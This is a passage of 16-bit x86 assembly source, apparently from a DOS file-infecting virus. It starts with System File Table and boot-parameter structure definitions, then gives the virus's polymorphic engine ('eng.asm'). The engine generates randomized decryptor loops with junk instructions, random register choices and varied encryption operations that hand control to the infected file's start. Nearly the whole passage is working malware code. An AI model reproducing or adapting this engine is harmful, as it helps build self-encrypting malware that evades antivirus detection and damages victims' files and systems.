  3982. ;       0Bh    WORD    starting cluster of file                              ;
  3983. ;       0Dh    WORD    file time in packed format (see AX=5700h)             ;
  3984. ;       0Fh    WORD    file date in packed format (see AX=5700h)             ;
  3985. ;       11h    DWORD   file size                                             ;
  3986. ;       15h    DWORD   current offset in file                                ;
  3987. ;       19h    WORD    relative cluster within file of last cluster accessed ;
  3988. ;       1Bh    WORD    absolute cluster number of last cluster accessed      ;
  3989. ;              0000h if file never read or written???                        ;
  3990. ;       1Dh    WORD    number of sector containing directory entry           ;
  3991. ;       1Fh    BYTE    number of dir entry within sector (byte offset/32)    ;
  3992. ;       20h 11 BYTEs   filename in FCB format (no path/period, blank-padded) ;
  3993. ;       2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file ;
  3994. ;       2Fh    WORD    (SHARE.EXE) network machine number which opened file  ;
  3995. ;       31h    WORD    PSP segment of file's owner (see AH=26h)              ;
  3996. ;       33h    WORD    offset within SHARE.EXE code segment of               ;
  3997. ;              sharing record (see below)  0000h = none                      ;
  3998. ;----------------------------------------------------------------------------;                                                                            
  3999.  
  4000.  
  4001.  
  4002. dcb             struc
  4003. dcb_users       dw      ?
  4004. dcb_mode        dw      ?
  4005. dcb_attr        db      ?
  4006. dcb_dev_attr    dw      ?
  4007. dcb_drv_addr    dd      ?
  4008. dcb_1st_clst    dw      ?
  4009. dcb_time        dw      ?
  4010. dcb_date        dw      ?
  4011. dcb_size        dd      ?
  4012. dcb_pos         dd      ?
  4013. dcb_last_clst   dw      ?
  4014. dcb_current_clst dw     ?
  4015. dcb_dir_sec     dw      ?
  4016. dcb_dir_entry   db      ?
  4017. dcb_name        db      8 dup(?)
  4018. dcb_ext         db      3 dup(?)
  4019. dcb_useless1    dw      ?
  4020. dcb_useless2    dw      ?
  4021. dcb_useless3    dw      ?
  4022. dcb_psp_seg     dw      ?
  4023. dcb_useless4    dw      ?
  4024. dcb             ends
  4025.  
  4026. bpb                     STRUC
  4027. bpb_Bytes_Per_Sec       dw ?
  4028. bpb_Sec_Per_Clust       db ?
  4029. bpb_Reserved_Sectors    dw ?               
  4030. bpb_FATs                db ?             ; Number of FATs
  4031. bpb_Root_Dir_Entries    dw ?             ; Max number of root dir entries
  4032. bpb_Sectors             dw ?             ; number of sectors; small
  4033. bpb_Media               db ?             ; Media descriptor byte
  4034. bpb_Sectors_Per_FAT     dw ?
  4035. bpb_Sectors_Per_Track   dw ?               
  4036. bpb_Heads               dw ?             ; number of heads
  4037. bpb_Hidden_Sectors      dd ?
  4038. bpb_Huge_Sectors        dd ?             ; number of sectors; large
  4039. bpb_Drive_Number        db ?
  4040. bpb_Reserved            db ?
  4041. bpb_Boot_Signature      db ?
  4042. bpb_Volume_ID           dd ?
  4043. bpb_Volume_Label        db 11 dup(?)
  4044. bpb_File_System_Type    db 8 dup(?)
  4045. bpb                     ENDS
  4046.  
  4047.  
  4048. register        struc
  4049. reg_es          dw      ?
  4050. reg_ds          dw      ?
  4051. reg_di          dw      ?
  4052. reg_si          dw      ?
  4053. reg_bp          dw      ?
  4054. reg_dx          dw      ?
  4055. reg_cx          dw      ?
  4056. reg_bx          dw      ?
  4057. reg_ax          dw      ?
  4058. reg_f           dw      ?
  4059. register        ends
  4060.  
  4061. sys_file        struc
  4062. sys_next        dd      ?
  4063. sys_strat       dw      ?
  4064. sys_int         dw      ?
  4065. sys_file        ends
  4066.                 
  4067.                 
  4068.                 end
  4069. -----------------------------<<eng.asm>>---------------------------------------
  4070.  
  4071. _ax             equ     0
  4072. _cx             equ     1
  4073. _dx             equ     2
  4074. _bx             equ     3
  4075. _sp             equ     4
  4076. _bp             equ     5
  4077. _si             equ     6
  4078. _di             equ     7
  4079.  
  4080.                 
  4081. engine:         mov     ds:pointer,ax           ; save IP
  4082.                 mov     di,offset decrypt
  4083.                 mov     bx,offset make_count
  4084.                 mov     cx,offset make_key
  4085.                 mov     dx,offset make_ptr
  4086.                 mov     si,offset order_ret
  4087.                 or      bp,11101111b            ; SP is used
  4088.                 call    order                   ; randomize and call registers
  4089.                 push    di                      ; save start of loop
  4090.                 push    di
  4091.                 mov     si,offset encode
  4092.                 mov     di,offset write_buff
  4093.                 mov     cx,encode_end-encode
  4094.                 rep     movsb                   ; copy write code
  4095.                 mov     ds:encode_ptr,offset (encode_break-encode)+write_buff
  4096.                 pop     di
  4097.                 mov     bx,offset make_enc
  4098.                 mov     cx,offset make_keychange
  4099.                 mov     dx,offset make_deccount
  4100.                 mov     si,offset make_incptr
  4101.                 call    order                   ; call routines
  4102.  
  4103. ;=====( Preform loop )=======================================================;
  4104.  
  4105.                 mov     ax,2
  4106.                 push    ax
  4107.                 call    random                  ; test BP for 4000?
  4108.                 pop     ax
  4109.                 jz      loop_no_test
  4110.                 test    bp,4000h                ; possible to just "Jcc"?
  4111.                 jnz     loop_make_jcc
  4112. loop_no_test:   call    random
  4113.                 jz      loop_no_test1
  4114.                 test    bp,2000h                ; use loop?
  4115.                 jnz     loop_make_jcc
  4116. loop_no_test1:  or      bp,800h                 ; do not change flags
  4117.                 mov     ax,2
  4118.                 cwd
  4119.                 call    random                  ; try OR/AND/TEST reg,reg
  4120.                                                 ; or XOR/ADD/OR/SUB reg,0?
  4121.                 mov     al,ds:count_reg         ; get counter
  4122.                 jnz     loop_orandtest
  4123.                 call    boolean                 ; do XOR/OR/ADD or ADD/SUB?
  4124.                 jnz     loop_modify
  4125.                 call    add_reg                 ; ADD/SUB reg,0
  4126.                 jmp     loop_make_jcc
  4127.  
  4128. loop_modify:    call    modify_reg              ; XOR/OR/ADD reg,0
  4129.                 jmp     loop_make_jcc
  4130.  
  4131. loop_orandtest: mov     cl,3
  4132.                 mov     ch,al
  4133.                 shl     ch,cl
  4134.                 or      al,ch                   ; set reg1 as reg2 also
  4135.                 mov     bx,2                    ; OR/AND/TEST
  4136.                 call    random_bx
  4137.                 jnz     loop_and
  4138.                 or      ax,9c0h                 ; OR reg1, reg2
  4139. loop_reverse:   call    boolean                 ; use 9 or 11?
  4140.                 jnz     loop_orandteststo
  4141.                 or      ah,2h                   ; reg2, reg1
  4142.                 jmp     loop_orandteststo
  4143.  
  4144. loop_and:       dec     bx
  4145.                 jnz     loop_test
  4146.                 or      ax,21c0h                ; AND reg1, reg2
  4147.                 jmp     loop_reverse
  4148.  
  4149. loop_test:      or      ax,85c0h                ; TEST reg1, reg2
  4150. loop_orandteststo:
  4151.                 xchg    al,ah
  4152.                 stosw                           ; store TEST/OR/AND
  4153.                 or      bp,1800h                ; do not change flags/
  4154.                                                 ; test stored
  4155.                 call    garble
  4156. loop_make_jcc:  and     bp,not 800h
  4157.                 test    bp,2000h                ; code loop?
  4158.                 jz      loop_make_jump
  4159.                 mov     al,0e2h                 ; LOOP
  4160.                 test    bp,1000h                ; possible to use LOOPNZ/Z?
  4161.                 jz      loop_code_disp
  4162.                 call    boolean
  4163.                 jnz     loop_code_disp
  4164.                 dec     ax                      ; LOOPZ
  4165.                 call    boolean
  4166.                 jnz     loop_iscx
  4167.                 dec     ax                      ; LOOPNZ
  4168.                 jmp     loop_code_disp
  4169.                 
  4170. ;=====( Now make conditional jump )==========================================;
  4171.  
  4172. jcc_tbl:        db      75h,79h,7dh,7fh         ; JNE/JNS/JG/JGE
  4173.  
  4174. loop_make_jump: mov     bx,offset jcc_tbl
  4175.                 mov     ax,3
  4176.                 call    random
  4177.                 xlat                            ; get Conditional jump
  4178.                 mov     bx,2
  4179.                 call    random_bx               ; use JE/JS/LE/L then JMP?
  4180.                 jnz     loop_code_disp
  4181.                 cmp     ds:count_reg,_cx        ; CX is counter?
  4182.                 jnz     loop_notcx
  4183.                 mov     bl,4
  4184.                 call    random_bx
  4185.                 jnz     loop_notcx
  4186.                 mov     al,0e3h + 1             ; JCXZ + 1
  4187. loop_notcx:     dec     ax
  4188. loop_iscx:      stosw
  4189.                 cmp     al,07fh                 ; Jcxz/loopz?
  4190.                 ja      loop_code_short
  4191.                 call    boolean                 ; Use opposite or EB?
  4192.                 jnz     loop_code_short
  4193.                 or      bp,800h                 ; dont change flags
  4194. loop_code_short:mov     si,di                   ; save offset of displacement
  4195.                 call    garble
  4196.                 lea     ax,ds:[si-2]
  4197.                 sub     ax,di
  4198.                 neg     al                      ; get jump displacement
  4199.                 mov     ds:[si-1],al            ; save it
  4200.                 test    bp,800h                 ; Dont change flags -> "Jcc"
  4201.                 mov     al,0ebh                 ; Jmp short
  4202.                 je      loop_code_disp
  4203.                 mov     ax,3
  4204.                 call    random
  4205.                 mov     bx,offset jcc_tbl
  4206.                 xlat                            ; Get JNE/JNS/JG/JGE
  4207. loop_code_disp: stosb                           ; store jump
  4208.                 pop     ax                      ; start of loop
  4209.                 dec     ax
  4210.                 sub     ax,di                   ; get loop displacement
  4211.                 stosb
  4212.                 or      bp,11101111b            ; free all registers
  4213.                 and     bp,not 800h             ; allow flags to change
  4214.                 call    garble
  4215.                 mov     ax,19
  4216.                 call    random                  ; 1 in 20 chance of non-jmp
  4217.                 jnz     loop_code_jmp
  4218.                 mov     ax,ds:pointer
  4219.                 add     ax,offset file_start    ; where to jump
  4220.                 xchg    dx,ax
  4221.                 call    get_reg                 ; get a register
  4222.                 call    mov_reg                 ; Mov value into register
  4223.                 or      ax,0ffc0h + (4 shl 3)   ; JMP reg16
  4224.                 call    boolean                 ; PUSH/RET or JMP reg16?
  4225.                 jnz     loop_code_push
  4226.                 xchg    al,ah
  4227.                 jmp     loop_code_stosw
  4228.  
  4229. loop_code_push: mov     bx,2
  4230.                 call    random_bx               ; 1 in 3 chance of FF /6 PUSH
  4231.                 jnz     loop_code_push1
  4232.                 xor     al,(6 shl 3) xor (4 shl 3) ; PUSH reg
  4233.                 xchg    al,ah                
  4234.                 stosw
  4235.                 jmp     loop_code_ret
  4236.  
  4237. loop_code_push1:xor     al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
  4238.                 stosb
  4239. loop_code_ret:  call    garble
  4240.                 mov     al,0c3h                 ; RETN
  4241.                 stosb
  4242.                 jmp     loop_code_end
  4243.  
  4244. loop_code_jmp:  mov     al,0e9h
  4245.                 stosb                           ; Store Jump
  4246.                 lea     ax,ds:[di-((file_start-2)-v_start)]
  4247.                 neg     ax                      ; Jmp file_start
  4248. loop_code_stosw:stosw
  4249. loop_code_end:  mov     si,ds:encode_enc_ptr    ; get encrypt instruction ptr                                
  4250.                 cmp     di,offset header        ; Decryptor is too large?
  4251.                 jb      go_write_buff
  4252.                 stc                             ; return error
  4253.                 pushf
  4254.                 pop     bp
  4255.                 retn
  4256.  
  4257. go_write_buff:  jmp     write_buff              ; encrypt/write/decrypt
  4258.  
  4259.  
  4260. ;=====( Inc pointer )========================================================;
  4261.  
  4262. make_incptr:    mov     ax,word ptr ds:ptr_reg  ; get pointer registers
  4263.                 mov     dx,2                    ; ADD ptr,2
  4264.                 cmp     ah,-1                   ; two registers used?
  4265.                 jz      make_incptr_1
  4266.                 call    boolean                 ; do one or both?
  4267.                 jnz     make_incptr_do1
  4268.                 dec     dx                      ; ADD ptr,1
  4269.                 call    make_incptr_do1
  4270.                 jmp     make_incptr_2
  4271.  
  4272. make_incptr_do1:call    boolean
  4273.                 jnz     make_incptr_1
  4274. make_incptr_2:  xchg    al,ah
  4275. make_incptr_1:  call    add_reg
  4276.                 sub     ds:disp,dx              ; add to displacement
  4277.                 retn 
  4278.  
  4279. ;=====( Dec counter )========================================================;
  4280.  
  4281. make_deccount:  cmp     si,offset make_deccount ; last operation?
  4282.                 jnz     make_deccount_notlast
  4283.                 call    boolean                 ; do it?
  4284.                 jnz     make_deccount_notlast
  4285.                 or      bp,4800h                ; remember we're last
  4286. make_deccount_notlast:
  4287.                 mov     al,ds:count_reg
  4288.                 cmp     al,_cx                  ; possible to use LOOP/LOOPNZ?
  4289.                 jnz     make_deccount_notcx
  4290.                 call    boolean
  4291.                 jnz     make_deccount_notcx
  4292.                 or      bp,2000h                ; do LOOP
  4293.                 jmp     make_deccount_exit
  4294.  
  4295. make_deccount_notcx:
  4296.                 mov     dx,-1                   ; ADD counter,-1
  4297.                 call    add_reg
  4298. make_deccount_exit:
  4299.                 or      bp,400h                 ; deccount executed
  4300.                 retn                   
  4301.  
  4302. ;=====( Make encryption instruction )========================================;
  4303.  
  4304. make_enc:       push    bp
  4305.                 and     bp,not 400h
  4306.                 mov     al,ds:key_reg
  4307.                 push    ax                      ; save key register
  4308. make_enc_which: mov     ax,4                    ; ADD/SUB/XOR/ROR/ROL
  4309.                 call    random
  4310.                 mov     bx,0105h                ; ADD [DI],AX
  4311.                 mov     cx,1119h                ; ADC/SBB
  4312.                 mov     dx,2905h                ; SUB [DI],AX
  4313.                 jz      make_enc_add
  4314.                 dec     ax
  4315.                 jz      make_enc_sub
  4316.                 dec     ax
  4317.                 jnz     make_enc_ror
  4318.                 mov     bh,31h                  ; XOR
  4319.                 mov     dx,3105h                ; XOR [DI],AX
  4320.                 jmp     make_enc_sto
  4321.  
  4322. make_enc_ror:   cmp     ds:key_reg,_cx          ; CX is key?
  4323.                 jne     make_enc_which
  4324.                 or      bp,400h                 ; Put XCHG CX,AX
  4325.                 mov     bh,0d3h
  4326.                 mov     dx,0d30dh               ; ROL 
  4327.                 dec     ax
  4328.                 jz      r_make_enc_sto
  4329.                 xchg    bx,dx                   ; ROR
  4330. r_make_enc_sto: mov     ds:key_reg,al           ; 1 SHL 3 = 08 / D3 08
  4331.                                                 ; D3 00 = ROL [],CL
  4332.                 jmp     make_enc_sto
  4333.  
  4334. make_enc_sub:   xchg    dh,bh                   ; SUB - ADD [DI],AX
  4335.                 xchg    cl,ch                   ; SBB/ADC
  4336. make_enc_add:   call    boolean                 ; do Carry?
  4337.                 jnz     make_enc_sto
  4338.                 push    bx
  4339.                 mov     bh,ch                   ; Make it ADC/SBB
  4340.                 call    clear_carry
  4341.                 cmp     al,0
  4342.                 org     $ - 1
  4343. make_enc_sto:   push    bx
  4344.                 test    bp,8000h                ; EXE file?
  4345.                 jz      make_enc_com
  4346.                 call    is_bp_ptr               ; is BP a pointer?
  4347.                 je      make_enc_com
  4348.                 mov     al,2eh                  ; CS:
  4349.                 call    boolean
  4350.                 jnz     make_enc_cs
  4351.                 mov     al,36h                  ; SS:
  4352. make_enc_cs:    stosb                           ; store segment override
  4353. make_enc_com:   mov     al,bh
  4354.                 stosb                           ; store instruction
  4355.                 mov     ax,word ptr ds:ptr_reg  ; get pointer registers
  4356.                 cmp     ah,-1                   ; second reg?
  4357.                 je      make_enc_xlat
  4358.                 add     al,ah
  4359. make_enc_xlat:  mov     bx,offset rm_tbl
  4360.                 xlat                            ; get r/m
  4361.                 call    is_bp_ptr               ; is BP a pointer?
  4362.                 jnz     make_enc_nobp
  4363.                 inc     ah                      ; is there a second reg?
  4364.                 jne     make_enc_nobp
  4365.                 or      al,01000000b            ; [BP+xx]
  4366. make_enc_nobp:  mov     cx,ds:disp              ; get displacement
  4367.                 mov     bx,6
  4368.                 call    random_bx               ; allow no displacement?
  4369.                 jz      make_enc_get_disp
  4370.                 jcxz    make_enc_sto_rm
  4371. make_enc_get_disp:
  4372.                 or      al,01000000b            ; 8bit displacement
  4373.                 call    boolean                 ; allow 8bit displacement?
  4374.                 jnz     make_enc_16bit
  4375.                 cmp     cx,7fh                  ; 8bit displacement?
  4376.                 jbe     make_enc_sto_rm         
  4377.                 cmp     cx,-80h
  4378.                 jb      make_enc_16bit
  4379.                 xor     ch,ch
  4380.                 cmp     ax,0
  4381.                 org     $ - 2
  4382. make_enc_16bit: xor     al,11000000b            ; 8bit off, 16bit on
  4383. make_enc_sto_rm:mov     ah,ds:key_reg
  4384.                 shl     ah,1
  4385.                 shl     ah,1
  4386.                 shl     ah,1                    ; from bits 0-2 of AH
  4387.                 or      al,ah                   ; to bits 3-5 of AL
  4388.                 stosb                           ; store r/m byte 
  4389.                 test    al,11000000b            ; any displacement?
  4390.                 jz      make_enc_disp
  4391.                 test    al,10000000b            ; 16bit displacement?
  4392.                 xchg    cx,ax
  4393.                 stosw                           ; store displacement
  4394.                 jnz     make_enc_disp
  4395.                 dec     di                      ; 8bit only
  4396. make_enc_disp:  xchg    di,ds:encode_ptr        ; get encode ptr
  4397.                 test    bp,400h                 ; store XCHG CX,AX?
  4398.                 je      make_enc_nor
  4399.                 mov     al,91h                  ; XCHG CX,AX
  4400.                 stosb
  4401. make_enc_nor:   xchg    dx,ax
  4402.                 xchg    al,ah
  4403.                 mov     ds:encode_enc_ptr,di    ; save instruction pointer
  4404.                 stosw                           ; set encryption instruction
  4405.                 je      make_enc_nor1
  4406.                 mov     al,91h                  ; XCHG CX,AX
  4407.                 stosb
  4408. make_enc_nor1:  xchg    di,ds:encode_ptr        ; restore decrypt ptr
  4409.                 pop     ax
  4410.                 xchg    al,ah
  4411.                 mov     word ptr ds:write_buff[encode_flip-encode],ax 
  4412.                                                 ; save opposite operation
  4413.                 pop     ax 
  4414.                 mov     ds:key_reg,al           ; restore key register
  4415.                 pop     bp
  4416.                 retn
  4417.                 
  4418. rm_tbl:         db      -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3  ; -1's not used
  4419.  
  4420. ;=====( Change key )=========================================================;
  4421.  
  4422. make_keychange: call    boolean                 ; change key?
  4423.                 jnz     make_keychange_yes
  4424.                 retn
  4425.                 
  4426. make_keychange_yes:
  4427.                 push    bp
  4428.                 or      bp,200h                 ; let know that keychange
  4429.                 mov     ax,3
  4430.                 call    random                  ; 1 in 4 chance of modify_reg
  4431.                 jnz     keychange_other
  4432.                 call    random_1
  4433.                 xchg    dx,ax                   ; Random value to modify key
  4434.                                                 ; reg by
  4435.                 mov     al,ds:key_reg
  4436.                 call    modify_reg              ; XOR/ADD/OR
  4437. keychange_stoop:xchg    di,ds:encode_ptr        ; get ptr to encode
  4438.                 inc     di                      ; CLC
  4439.                 mov     al,ds:modify_op         ; get operation
  4440.                 stosb
  4441. keychange_stodx:xchg    dx,ax                   ; store value/operation
  4442. keychange_sto:  stosw
  4443.                 xchg    di,ds:encode_ptr        ; get decrypt pointer
  4444.                 pop     bp
  4445.                 retn
  4446.  
  4447. keychange_other:mov     al,4                    ; ROR/ROL/NOT/NEG/ADD
  4448.                 call    random 
  4449.                 jnz     keychange_rol
  4450.                 mov     ax,0d1c0h               ; ROR AX,1
  4451. keychange_cl:   mov     bx,2                    ; 1 in 3 chance of ,CL
  4452.                 call    random_bx
  4453.                 jnz     keychange_nocl
  4454.                 cmp     ds:count_reg,_cx          ; Count is CX?
  4455.                 jne     keychange_nocl
  4456.                 test    bp,400h                 ; Count already decremented?
  4457.                 jnz     keychange_nocl
  4458.                 or      ah,2                    ; By CL
  4459. keychange_nocl: xchg    al,ah
  4460.                 push    ax
  4461.                 or      ah,ds:key_reg           ; set key register
  4462.                 stosw                           ; store instruction
  4463.                 pop     ax
  4464.                 xchg    di,ds:encode_ptr        ; get encode ptr
  4465.                 jmp     keychange_sto
  4466.  
  4467. keychange_rol:  dec     ax
  4468.                 jnz     keychange_not
  4469.                 mov     ax,0d1c0h or (1 shl 3)  ; ROL AX,1
  4470.                 jmp     keychange_cl
  4471.  
  4472. keychange_not:  dec     ax
  4473.                 jnz     keychange_neg                
  4474.                 mov     ax,0f7c0h + (2 shl 3)   ; NOT AX
  4475.                 jmp     keychange_nocl
  4476.  
  4477. keychange_neg:  dec     ax
  4478.                 jnz     keychange_add
  4479.                 mov     ax,0f7c0h + (3 shl 3)   ; NEG AX
  4480.                 jmp     keychange_nocl
  4481.  
  4482. keychange_add:  call    random_1
  4483.                 xchg    dx,ax
  4484.                 mov     al,ds:key_reg           ; get key register
  4485.                 call    add_reg                 ; ADD reg(ax), value(dx)
  4486.                 jmp     keychange_stoop
  4487.  
  4488. ;=====( Build key )==========================================================;
  4489.  
  4490. make_key:       call    get_reg                 ; get register
  4491.                 xchg    dx,ax
  4492.                 call    random_1                ; get key
  4493.                 mov     ds:key,ax               ; save key
  4494.                 xchg    dx,ax
  4495.                 mov     ds:key_reg,al           ; save register
  4496.                 call    mov_reg                 ; MOV reg(ax),value(dx)
  4497.                 retn
  4498.  
  4499. ;=====( Build counter )======================================================;
  4500.  
  4501. make_count:     call    get_reg                 ; get register
  4502.                 mov     ds:count_reg,al         ; save register
  4503.                 mov     dx,(decrypt-v_start)/2  ; # of words to crypt
  4504.                 call    mov_reg                 ; mov reg(ax),value(dx)
  4505.                 retn
  4506.  
  4507. ;=====( Build Pointer )======================================================;
  4508.  
  4509. make_ptr:       mov     dx,ds:pointer
  4510.                 call    get_ptr_reg             ; get DI/SI/BP/BX
  4511.                 mov     ds:ptr_reg,al
  4512.                 mov     ds:ptr_reg1,-1          
  4513.                 mov     bx,3
  4514.                 call    random_bx               ; 1 in 4 chance of 2 regs
  4515.                 jnz     make_ptr_2
  4516.                 cmp     al,_si
  4517.                 mov     bx,11000000b            ; DI/SI
  4518.                 jb      make_ptr_test
  4519.                 mov     bl,00101000b            ; BP/BX
  4520. make_ptr_test:  test    bp,bx                   ; 'other' availible?
  4521.                 jz      make_ptr_2
  4522. make_ptr_again: call    get_ptr_reg             ; get DI/SI/BP/BX
  4523.                 push    ax
  4524.                 call    conv_num                ; convert to bit-map number
  4525.                 test    al,bl                   ; is it other type?
  4526.                 pop     ax
  4527.                 jnz     make_ptr_ok
  4528.                 call    del_reg                 ; delete register
  4529.                 jmp     make_ptr_again
  4530.  
  4531. make_ptr_ok:    mov     ds:ptr_reg1,al          ; save second register
  4532.                 mov     bx,-1
  4533.                 call    random_bx
  4534.                 sub     dx,bx                   ; randomize values
  4535.                 xchg    bx,dx
  4536.                 call    mov_reg                 ; mov reg(ax), value(dx)
  4537.                 xchg    bx,dx
  4538.                 mov     al,ds:ptr_reg           ; get first reg
  4539. make_ptr_2:     xor     bx,bx                   ; zero displacement
  4540.                 call    boolean                 ; use one?
  4541.                 jnz     make_ptr_nodisp
  4542.                 mov     bx,-1
  4543.                 call    random_bx
  4544.                 sub     dx,bx                   ; subtract displacement
  4545. make_ptr_nodisp:mov     ds:disp,bx              ; save displacement
  4546.                 call    mov_reg                 ; mov reg(ax), value(dx)
  4547.                 retn
  4548.                 
  4549. ;=====( Shell for mov_reg1 )=================================================;
  4550.  
  4551. mov_reg:        push    bx dx
  4552.                 mov     bx,4
  4553.                 call    random_bx               ; 1 in 5 chance of MOV/ADD/SUB
  4554.                 jnz     mov_reg_call
  4555.                 mov     bx,-1
  4556.                 call    random_bx               ; get random #
  4557.                 sub     dx,bx                   ; MOV reg, value-random #
  4558.                 call    mov_reg1                ; do MOV reg,
  4559.                 mov     dx,bx
  4560.                 call    add_reg                 ; Now add difference
  4561.                 pop     dx bx
  4562.                 retn
  4563.  
  4564. mov_reg_call:   pop     dx bx
  4565.  
  4566. ;=====( Mov reg(ax), value(dx) )=============================================;
  4567.  
  4568. mov_reg1:       push    ax bx cx dx
  4569.                 cbw
  4570.                 mov     bx,2
  4571.                 call    random_bx               ; MOV or SUB/XOR ADD/OR/XOR
  4572.                 jz      mov_reg_other
  4573.                 mov     bl,2
  4574.                 call    random_bx               ; 1 in 3 chance of c6/c7 MOV
  4575.                 jnz     mov_reg_b0
  4576.                 or      ax,0c7c0h               ; MOV reg,imm
  4577.                 call    boolean                 ; Do long MOV or LEA?
  4578.                 jnz     mov_reg_c7
  4579.                 mov     cl,3
  4580.                 shl     al,cl                   ; Reg -> bits 3,4,5
  4581.                 xor     ax,(8d00h or 110b) xor 0c700h  ; LEA reg,[imm]
  4582. mov_reg_c7:     xchg    al,ah
  4583.                 stosw                           ; store it
  4584. mov_reg_sto:    xchg    dx,ax
  4585.                 stosw                           ; store value
  4586.                 call    garble
  4587. mov_reg_exit:   jmp     modify_pop
  4588.  
  4589. mov_reg_b0:     or      al,0b8h                 ; MOV reg,imm
  4590.                 stosb
  4591.                 jmp     mov_reg_sto
  4592.  
  4593. mov_reg_other:  push    ax
  4594.                 mov     cl,3
  4595.                 mov     ch,al
  4596.                 shl     ch,cl                   ; copy reg1 to reg2
  4597.                 or      al,ch                   ; set it
  4598.                 call    boolean
  4599.                 jnz     mov_reg_other1
  4600.                 or      ah,2                    ; reg1, reg2 -> reg2, reg1
  4601. mov_reg_other1: call    boolean
  4602.                 jnz     mov_reg_xor
  4603.                 or      ax,29c0h                ; SUB reg, reg
  4604.                 call    boolean
  4605.                 jnz     mov_reg_other_sto
  4606.                 xor     ah,19h xor 29h          ; SBB reg, reg
  4607.                 call    clear_carry             ; clear carry flag
  4608. mov_reg_other_sto:
  4609.                 xchg    al,ah
  4610.                 stosw
  4611.                 call    garble
  4612.                 pop     ax
  4613.                 call    modify_reg              ; ADD/OR/XOR reg(ax),value(dx)
  4614.                 jmp     mov_reg_exit
  4615.  
  4616. mov_reg_xor:    or      ax,31c0h                ; XOR AX,AX
  4617.                 jmp     mov_reg_other_sto
  4618.  
  4619. ;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
  4620.  
  4621. modify_reg:     push    ax bx cx dx
  4622.                 cbw
  4623.                 mov     bx,2
  4624.                 call    random_bx
  4625.                 mov     cx,3500h + (6 shl 3)    ; XOR
  4626.                 jz      modify_reg_cont
  4627.                 mov     cx,0d00h + (1 shl 3)    ; OR
  4628.                 dec     bx
  4629.                 jz      modify_reg_cont
  4630. modify_reg_add: mov     cx,0500h                ; ADD
  4631.                 call    boolean                 ; ADC or ADD?
  4632.                 jnz     modify_reg_cont
  4633.                 mov     cx,1500h + (2 shl 3)    ; ADC
  4634. modify_reg_clc: call    clear_carry             ; Clear carry flag
  4635. modify_reg_cont:test    bp,200h                 ; keychange executing?
  4636.                 jz      modify_reg_nosave
  4637.                 mov     ds:modify_op,ch         ; save AX operation
  4638. modify_reg_nosave:
  4639.                 call    boolean                 ; check if AX?
  4640.                 jnz     modify_reg_noax
  4641.                 or      al,al                   ; AX?
  4642.                 jnz     modify_reg_noax
  4643.                 mov     al,ch
  4644.                 stosb                           ; store instruction
  4645.                 xchg    dx,ax
  4646. modify_sto:     stosw                           ; store value
  4647. modify_exit:    call    garble
  4648. modify_pop:     pop     dx cx bx ax
  4649.                 retn
  4650.  
  4651. modify_reg_noax:or      ax,81c0h
  4652.                 or      al,cl                   ; XOR/OR/ADD
  4653.                 call    boolean                 ; sign extend?
  4654.                 jnz     modify_reg_nosign
  4655.                 cmp     dx,7fh                  ; possible to sign extend?
  4656.                 jbe     modify_sign
  4657.                 cmp     dx,-80h
  4658.                 jb      modify_reg_nosign
  4659. modify_sign:    or      ah,2                    ; sign extend
  4660. modify_reg_nosign:                
  4661.                 xchg    al,ah
  4662.                 stosw
  4663.                 test    al,2                    ; sign extended?
  4664.                 xchg    dx,ax
  4665.                 je      modify_sto
  4666.                 stosb
  4667.                 jmp     modify_exit
  4668.                 
  4669. ;=====( ADD reg(ax), value(dx) )=============================================;
  4670.  
  4671. add_reg:        push    ax bx cx dx
  4672.                 cbw
  4673.                 mov     cx,dx
  4674. add_loop:       mov     bx,3
  4675.                 call    random_bx               ; 1 in 4 chance of ADD/SUB
  4676.                 jz      add_noinc
  4677.                 mov     bx,40c0h                ; INC reg
  4678.                 test    bp,200h                 ; keychange running?
  4679.                 jz      add_nosave
  4680.                 mov     ds:modify_op,05h        ; ADD AX,
  4681. add_nosave:     cmp     cx,3h                   ; too high to INC?
  4682.                 jb      add_inc
  4683.                 neg     cx
  4684.                 cmp     cx,3h                   ; too low to DEC?
  4685.                 ja      add_noinc
  4686.                 mov     bx,48c0h + (1 shl 3)    ; DEC reg
  4687.                 test    bp,200h
  4688.                 jz      sub_nosave
  4689.                 mov     ds:modify_op,2dh        ; SUB AX,
  4690. sub_nosave:     inc     dx
  4691.                 inc     cx
  4692.                 cmp     ax,0
  4693.                 org     $ - 2
  4694. add_inc:        dec     dx
  4695.                 dec     cx
  4696.                 push    ax
  4697.                 mov     ax,5
  4698.                 call    random                  ; 1 in 6 chance of FF
  4699.                 pop     ax      
  4700.                 push    ax
  4701.                 jnz     add_inc_40
  4702.                 mov     ah,0ffh
  4703.                 xchg    bl,bh
  4704.                 xchg    al,ah                   ; AL=ff AH=Reg
  4705.                 stosb 
  4706.                 xchg    al,ah
  4707. add_inc_40:     or      al,bh                   ; set DEC/INC
  4708.                 stosb
  4709.                 pop     ax
  4710.                 call    garble
  4711.                 or      dx,dx                   ; all done?
  4712.                 jnz     add_loop
  4713. add_reg_exit:   jmp     modify_pop
  4714.  
  4715. add_noinc:      call    boolean                 ; ADD or SUB?
  4716.                 jz      sub_reg
  4717.                 jmp     modify_reg_add
  4718.                 
  4719. sub_reg:        test    bp,200h                 ; keychange?
  4720.                 jnz     sub_reg_key
  4721.                 neg     dx
  4722. sub_reg_key:    mov     cx,2d00h + (5 shl 3)    ; SUB
  4723.                 call    boolean                 ; use SBB?
  4724.                 jz      sbb_reg
  4725.                 jmp     modify_reg_cont
  4726.  
  4727. sbb_reg:        mov     cx,1d00h + (3 shl 3)    ; SBB
  4728.                 jmp     modify_reg_clc
  4729.                 
  4730. ;=====( clear carry flag )===================================================;
  4731.  
  4732. clear_carry:    push    ax bp
  4733.                 or      bp,800h                 ; don't change flags
  4734.                 mov     al,0f8h                 ; CLC
  4735.                 call    boolean
  4736.                 jnz     clear_carry_clc
  4737.                 mov     ax,0f5f9h               ; STC/CMC
  4738.                 stosb
  4739.                 call    garble
  4740.                 xchg    al,ah
  4741. clear_carry_clc:stosb
  4742.                 call    garble
  4743.                 pop     bp ax
  4744.                 retn
  4745.  
  4746. garble:         push    ax
  4747.                 mov     ax,2
  4748.                 call    random                  ; how many times to call?
  4749.                 xchg    cx,ax
  4750.                 jcxz    garble_exit
  4751. garble_loop:    call    garble1
  4752.                 loop    garble_loop
  4753. garble_exit:    xchg    cx,ax
  4754.                 pop     ax
  4755.                 retn
  4756.  
